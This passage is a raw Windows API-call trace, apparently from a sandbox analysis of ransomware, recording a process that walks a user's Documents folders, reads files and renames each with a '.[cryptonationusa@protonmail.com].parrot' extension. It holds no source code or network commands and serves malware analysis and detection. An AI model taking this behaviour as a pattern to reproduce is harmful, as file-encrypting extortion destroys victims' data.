HALPmcxz\\Documents\\dVK5gUikDH.pps.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dvk5guikdh.pps.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.567] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.567] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.568] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.568] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd35, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xdd35, lpOverlapped=0x0) returned 1 [0091.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.570] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.571] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\et54entejQFNB.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\et54entejqfnb.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\et54entejQFNB.ods.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\et54entejqfnb.ods.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.622] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.622] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.623] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.623] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18df8, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x18df8, lpOverlapped=0x0) returned 1 [0091.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.627] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.628] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H5AjzkDu9N0K P2.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h5ajzkdu9n0k p2.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H5AjzkDu9N0K P2.xlsx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h5ajzkdu9n0k p2.xlsx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.631] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.632] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0091.632] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.632] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17126, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x17126, lpOverlapped=0x0) returned 1 [0091.633] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.663] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.665] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l0i28rU dzF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l0i28ru dzf.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l0i28rU dzF.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l0i28ru dzf.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.668] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0xffffffff [0091.668] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0091.669] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0xffffffff [0091.669] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0xffffffff [0091.669] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0091.669] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0xffffffff [0091.669] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.679] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.679] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.680] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.680] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xd8, lpOverlapped=0x0) returned 1 [0091.680] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.680] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.680] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.680] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.680] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.761] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.763] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.763] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0091.767] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.767] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x74e6, lpOverlapped=0x0) returned 1 [0091.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.772] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.774] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0091.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0091.779] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0xffffffff [0091.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0091.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0xffffffff [0091.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0091.781] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.781] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.781] ReadFile (in: hFile=0x284, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0091.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.782] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x42400, lpOverlapped=0x0) returned 1 [0091.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0091.795] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0091.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0091.897] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.040] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.042] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.042] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.043] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.043] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4ca5, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x4ca5, lpOverlapped=0x0) returned 1 [0092.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.043] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.044] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P4dv-1zm8mPKmHnTyXY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4dv-1zm8mpkmhntyxy.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P4dv-1zm8mPKmHnTyXY.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4dv-1zm8mpkmhntyxy.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.047] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.047] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.048] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.048] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd330, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xd330, lpOverlapped=0x0) returned 1 [0092.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.050] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.050] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P9uJJVwyEdTFxFeteu.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p9ujjvwyedtfxfeteu.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P9uJJVwyEdTFxFeteu.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p9ujjvwyedtfxfeteu.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.053] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.053] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.054] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.054] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7a15, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x7a15, lpOverlapped=0x0) returned 1 [0092.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.055] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.055] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PHTTi.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\phtti.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PHTTi.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\phtti.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.059] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.059] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.060] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.060] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x93bd, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x93bd, lpOverlapped=0x0) returned 1 [0092.060] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.061] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.062] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pw3Mv28Ui5viZkPCB.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pw3mv28ui5vizkpcb.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pw3Mv28Ui5viZkPCB.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pw3mv28ui5vizkpcb.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.065] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.065] ReadFile (in: hFile=0x258, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.066] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.066] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11a94, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x11a94, lpOverlapped=0x0) returned 1 [0092.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.068] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.069] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pyhnQKWIMVt5ED to.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pyhnqkwimvt5ed to.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pyhnQKWIMVt5ED to.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pyhnqkwimvt5ed to.docx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.125] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.125] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.126] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.126] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7fb7, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x7fb7, lpOverlapped=0x0) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.127] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.129] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QFmYMF5Q8pd-_3s.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qfmymf5q8pd-_3s.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QFmYMF5Q8pd-_3s.xlsx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qfmymf5q8pd-_3s.xlsx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.132] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.132] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.133] SetFilePointerEx (in: 